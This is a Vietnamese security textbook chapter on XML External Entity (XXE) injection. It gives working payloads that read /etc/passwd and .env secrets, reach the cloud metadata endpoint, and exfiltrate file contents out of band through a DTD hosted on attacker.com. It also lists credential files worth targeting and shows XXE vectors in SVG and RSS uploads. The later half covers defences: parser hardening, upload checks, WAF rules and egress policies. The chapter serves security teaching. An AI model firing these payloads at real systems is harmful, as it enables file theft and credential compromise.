Chương 16: XXE — XML External Entity Injection
Khái niệm
XXE (XML External Entity Injection — Tiêm thực thể XML bên ngoài) là lỗ hổng xảy ra khi XML parser xử lý input có chứa external entity references độc hại.
Mức độ nguy hiểm: Cao — XXE có thể dẫn đến đọc files nội bộ, SSRF, và trong một số trường hợp, RCE.
XML Entities là gì?
XML cho phép định nghĩa entities — biến có thể được tham chiếu trong document:
<!-- Internal entity -->
<!DOCTYPE note [
<!ENTITY greeting "Hello, World!">
]>
<note>&greeting;</note>
<!-- Parser thay &greeting; bằng "Hello, World!" -->
<!-- External entity: load từ file hoặc URL -->
<!DOCTYPE note [
<!ENTITY ext SYSTEM "http://example.com/data.txt">
]>
<note>&ext;</note>
<!-- Parser fetch URL và thay thế bằng content -->
XXE xảy ra khi parser cho phép external entities từ untrusted input.
Các loại XXE
1. File Retrieval
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
Response:
HTTP/1.1 400 Bad Request
...
"Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin..."
Files thú vị:
/etc/passwd → usernames
/etc/shadow → hashed passwords (nếu readable)
/etc/hosts → internal hostnames
/proc/self/environ → environment variables (secrets!)
/proc/self/cmdline → command line args
/var/log/apache2/access.log → logs
/var/www/html/config.php → app config với DB password
~/.ssh/id_rsa → SSH private key
2. XXE để SSRF
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<request>&xxe;</request>
Parser fetch URL → giống SSRF, nhưng thông qua XXE.
3. Blind XXE — Không thấy output
Nhiều apps parse XML nhưng không echo lại content của entities.
Out-of-Band Exfiltration:
<!-- Payload gửi đến server -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>&exfil;</foo>
<!-- evil.dtd trên attacker.com -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%wrap;
Flow:
1. Parser load evil.dtd từ attacker.com
2. %file entity = content của /etc/passwd
3. %wrap tạo entity mới: exfil = fetch attacker.com với content
4. Parser fetch http://attacker.com/?data=root:x:0:0:root:/root:/bin/bash...
5. Hacker xem access log → có /etc/passwd content
Error-based Blind XXE:
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
Parser trigger error: "file not found: /nonexistent/root:x:0:0..."
Error message chứa file content!
4. XInclude Attack
Khi app nhận XML từ user nhưng nhúng vào server-side XML document (không control DTD):
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
5. XXE qua File Upload
Nhiều file formats dùng XML internally:
SVG upload:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
DOCX/XLSX/PPTX (Office XML formats):
DOCX = ZIP archive chứa XML files
→ Inject XXE vào word/document.xml hoặc [Content_Types].xml
→ Upload DOCX → server parse XML → XXE!
RSS/Atom feed:
<?xml version="1.0"?>
<!DOCTYPE feed [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<feed>&xxe;</feed>
Kịch bản tấn công: Đọc Config File
Target: E-commerce app, endpoint POST /api/stock-check nhận XML
1. Normal request:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
2. XXE payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "file:///var/www/html/.env">]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
3. Response:
{
"error": "Invalid product ID:
DB_HOST=mysql
DB_USER=root
DB_PASSWORD=Super$ecret123!
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI..."
}
4. Hacker có:
- Database credentials
- AWS credentials
→ Full system compromise
Cách phát hiện
□ App nhận XML input không? (Content-Type: text/xml, application/xml)
□ App accept file upload? (SVG, DOCX, XLSX, ODT, RSS)
□ Thêm DOCTYPE declaration với external entity
□ Test với file:///etc/passwd
□ Test với HTTP URL để detect SSRF via XXE
□ Test XInclude cho SOAP/REST endpoints nhúng user content vào XML
□ Kiểm tra error messages lộ file content
□ Test blind XXE với Burp Collaborator (out-of-band)
Content-Type test:
Một số apps accept XML dù không expect:
- Thay Content-Type: application/json → application/xml
- Convert JSON body sang equivalent XML
- Server có thể switch parser → XXE possible
Phòng chống
1. Disable External Entities và DTD Processing
# Python lxml
from lxml import etree
parser = etree.XMLParser(
resolve_entities=False, # Disable entity resolution
no_network=True, # Disable network access
load_dtd=False, # Disable DTD loading
)
try:
tree = etree.fromstring(xml_content, parser=parser)
except etree.XMLSyntaxError as e:
raise ValueError(f"Invalid XML: {e}")
// Java - DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Disable external entities
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
// PHP - libxml
libxml_disable_entity_loader(true); // Deprecated in PHP 8.0, disabled by default
// PHP 8.0+: external entities disabled by default
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET | LIBXML_NOENT);
// C# - XmlReader
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit; // Không cho phép DTD
settings.XmlResolver = null; // Không resolve external entities
XmlReader reader = XmlReader.Create(input, settings);
2. Dùng JSON thay vì XML
Nếu có thể, dùng JSON API thay vì XML
→ JSON không có entity/DTD concept → không có XXE
3. Validate và Sanitize XML Input
# Strip DOCTYPE declaration trước khi parse
import re
def strip_dangerous_xml(xml_str: str) -> str:
# Remove DOCTYPE declarations
xml_str = re.sub(r'<!DOCTYPE[^>]*>', '', xml_str, flags=re.IGNORECASE)
# Remove entity references
xml_str = re.sub(r'<!ENTITY[^>]*>', '', xml_str, flags=re.IGNORECASE)
return xml_str
4. File Upload Validation
import zipfile
import xml.etree.ElementTree as ET
def validate_docx(file_content: bytes) -> bool:
try:
with zipfile.ZipFile(io.BytesIO(file_content)) as zf:
for name in zf.namelist():
if name.endswith('.xml') or name.endswith('.rels'):
content = zf.read(name).decode('utf-8', errors='ignore')
# Check for DOCTYPE/ENTITY
if '<!DOCTYPE' in content or '<!ENTITY' in content:
return False # Reject file
return True
except (zipfile.BadZipFile, Exception):
return False
Góc nhìn DevOps
WAF Rules cho XXE:
ModSecurity CRS có rules detect XXE:
- REQUEST-944-APPLICATION-ATTACK-JAVA.conf
- Check cho <!DOCTYPE, <!ENTITY, SYSTEM, PUBLIC keywords
Custom rule:
SecRule REQUEST_BODY "@contains <!ENTITY" \
"id:1001,phase:2,deny,status:400,msg:'XXE attempt'"
Kubernetes: Hạn chế outbound connections:
# Nếu app bị XXE, network policy hạn chế:
# - Không fetch file:// (local file), network policy không help
# - Fetch HTTP outbound: block bằng egress policy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
spec:
policyTypes:
- Egress
egress:
- to:
- podSelector:
matchLabels:
tier: database
# Không có outbound internet → limit blind XXE SSRF
SAST:
# Detect unsafe XML parsing
semgrep --config=p/java-xxe src/
semgrep --config=p/python-xxe src/
# Bandit cho Python
bandit -r . -t B313,B314,B315,B316,B317,B318,B319,B320
Tóm tắt
- XXE: inject external entities vào XML → đọc files, SSRF, trong trường hợp đặc biệt RCE.
- 4 loại: file retrieval, SSRF, blind (out-of-band/error-based), XInclude.
- Ẩn trong file uploads: SVG, DOCX, XLSX, RSS feeds.
- Phòng chống #1: Disable DTD processing và external entity resolution.
- Prefer JSON over XML khi có thể.
- Mỗi ngôn ngữ có cách cụ thể để disable — luôn configure explicitly.
Câu hỏi ôn tập
- XXE xảy ra do tính năng nào của XML được enable? Tại sao tính năng đó tồn tại?
- Tại sao DOCX/XLSX files có thể là vector cho XXE attack?
- Blind XXE và in-band XXE khác nhau như thế nào? Cách detect blind XXE?
- XInclude khác với External Entity Injection như thế nào?
- Tại sao disable DTD processing ở parser level tốt hơn là filter input?